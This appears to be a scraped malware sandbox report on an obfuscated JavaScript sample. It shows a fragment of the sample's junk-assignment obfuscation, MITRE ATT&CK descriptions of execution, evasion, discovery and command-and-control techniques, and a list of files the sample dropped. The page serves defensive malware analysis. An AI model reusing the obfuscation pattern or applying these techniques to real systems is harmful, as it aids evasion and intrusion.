1206	jlcpgblk = "F";
1207	jlcpgblk = "W";
1208	jlcpgblk = "X";
1209	jlcpgblk = "C";
1210	jlcpgblk = "R";
1211	jlcpgblk = "i";
1212	jlcpgblk = "I";
1213	jlcpgblk = "U";
1214	jlcpgblk = "i";
1215	jlcpgblk = "m";
1216	jlcpgblk = "v";
1217	jlcpgblk = "v";
1218	jlcpgblk = "k";
1219	jlcpgblk = "m";
1220	jlcpgblk = "v";
1221	jlcpgblk = "N";
1222	jlcpgblk = "O";
1223	jlcpgblk = "c";
1224	jlcpgblk = "Y";
1225	jlcpgblk = "d";
1226	jlcpgblk = "v";
1227	bksnsktvk = "i";
1228	bksnsktvk = "f";
1229	bksnsktvk = "J";
1230	bksnsktvk = "s";
1231	bksnsktvk = "a";
1232	bksnsktvk = "A";
1233	bksnsktvk = "R";
1234	bksnsktvk = "T";
1235	bksnsktvk = "I";
1236	bksnsktvk = "Z";
1237	bksnsktvk = "k";
1238	bksnsktvk = "X";
1239	bksnsktvk = "r";
1240	bksnsktvk = "h";
1241	bksnsktvk = "Q";
1242	bksnsktvk = "W";
1243	bksnsktvk = "B";
1244	bksnsktvk = "z";
1245	bksnsktvk = "K";
1246	zndakpdzf = "x";
1247	zndakpdzf = "n";
1248	zndakpdzf = "a";
1249	zndakpdzf = "C";
1250	zndakpdzf = "A";
1251	zndakpdzf = "U";
1252	zndakpdzf = "L";
1253	zndakpdzf = "y";
1254	zndakpdzf = "k";
1255	zndakpdzf = "N";
1256	zndakpdzf = "z";
1257	zndakpdzf = "V";
1258	zndakpdzf = "F";
1259	zndakpdzf = "K";
1260	zndakpdzf = "s";
1261	zndakpdzf = "P";
1262	zndakpdzf = "d";
1263	zndakpdzf = "F";
1264	zndakpdzf = "i";
1265	zndakpdzf = "N";
1266	zndakpdzf = "m";
1267	zndakpdzf = "i";
1268	zndakpdzf = "a";
1269	lqxevl = "x";
1270	lqxevl = "x";
1271	lqxevl = "B";
1272	lqxevl = "V";
1273	lqxevl = "r";
1274	lqxevl = "P";
1275	lqxevl = "M";
1276	lqxevl = "q";
1277	lqxevl = "o";
1278	lqxevl = "Q";
1279	lqxevl = "o";
1280	lqxevl = "G";
1281	lqxevl = "Q";
1282	lqxevl = "V";
1283	lqxevl = "m";
1284	lqxevl = "T";
1285	lqxevl = "j";
1286	lqxevl = "Q";
1287	lqxevl = "q";
1288	lqxevl = "V";
1289	lqxevl = "J";
1290	lqxevl = "p";
1291	lqxevl = "X";
1292	lqxevl = "c";
1293	lqxevl = "i";
1294	lqxevl = "Q";
1295	lqxevl = "F";
1296	lqxevl = "v";
1297	lqxevl = "0";
1298	lwfwmyavg = "K";
1299	lwfwmyavg = "D";
1300	lwfwmyavg = "U";
1301	lwfwmyavg = "r";
1302	lwfwmyavg = "t";
1303	lwfwmyavg = "V";
1304	lwfwmyavg = "G";
1305	lwfwmyavg = "x";
1306	lwfwmyavg = "k";
1307	lwfwmyavg = "X";
1308	lwfwmyavg = "a";
1309	lwfwmyavg = "n";
1310	lwfwmyavg = "b";
1311	lwfwmyavg = "m";
1312	lwfwmyavg = "l";
1313	lwfwmyavg = "T";
1314	lwfwmyavg = "P";
1315	lwfwmyavg = "n";
1316	lwfwmyavg = "A";
1317	lwfwmyavg = "d";
1318	lwfwmyavg = "A";
1319	lwfwmyavg = "O";
1320	lwfwmyavg = "w";
1321	lwfwmyavg = "o";
1322	lwfwmyavg = "f";
1323	lwfwmyavg = "f";
1324	lwfwmyavg = "C";
1325	lwfwmyavg = "i";
1326	lwfwmyavg = "m";
1327	lwfwmyavg = "W";
1328	lwfwmyavg = "w";
1329	lwfwmyavg = "c";
1330	lwfwmyavg = "k";
1331	lwfwmyavg = "j";
1332	lwfwmyavg = "K";
1333	lwfwmyavg = "u";
1334	lwfwmyavg = "t";
1335	lwfwmyavg = "L";
1336	lwfwmyavg = "q";
1337	lwfwmyavg = "y";
1338	lwfwmyavg = "b";
1339	lwfwmyavg = "Z";
1340	lwfwmyavg = "T";
1341	rbsygfe = "Y";
1342	rbsygfe = "c";
1343	rbsygfe = "C";
1344	rbsygfe = "h";
1345	rbsygfe = "L";
1346	rbsygfe = "p";
1347	rbsygfe = "q";
1348	rbsygfe = "S";
1349	rbsygfe = "B";
1350	rbsygfe = "U";
1351	rbsygfe = "h";
1352	rbsygfe = "o";
1353	rbsygfe = "z";
1354	rbsygfe = "F";
1355	rbsygfe = "g";
1356	rbsygfe = "I";
1357	rbsygfe = "i";
1358	rbsygfe = "M";
1359	rbsygfe = "u";
1360	rbsygfe = "c";
1361	rbsygfe = "Z";
1362	rbsygfe = "g";
1363	rbsygfe = "w";
1364	rbsygfe = "4";
1365	xpdhidwi = "B";
1366	xpdhidwi = "9";
1367	uwudb = "m";
1368	uwudb = "V";
1369	uwudb = "h";
1370	uwudb = "C";
1371	uwudb = "h";
1372	uwudb = "j";
1373	uwudb = "g";
1374	uwudb = "v";
1375	uwudb = "l";
1376	uwudb = "f";
1377	uwudb = "u";
1378	uwudb = "n";
1379	uwudb = "R";
1380	uwudb = "I";
1381	uwudb = "I";
1382	uwudb = "z";
1383	uwudb = "s";
1384	uwudb = "R";
1385	uwudb = "y";
1386	uwudb = "E";
1387	uwudb = "x";
1388	uwudb = "q";
1389	uwudb = "M";
1390	uwudb = "3";
1391	qzzuiq ( );	qzzuiq() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1702927977169302141.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7d60a6e8-f129-4fba-9fd6-114f4362a388.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
1702927977169302141.js

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre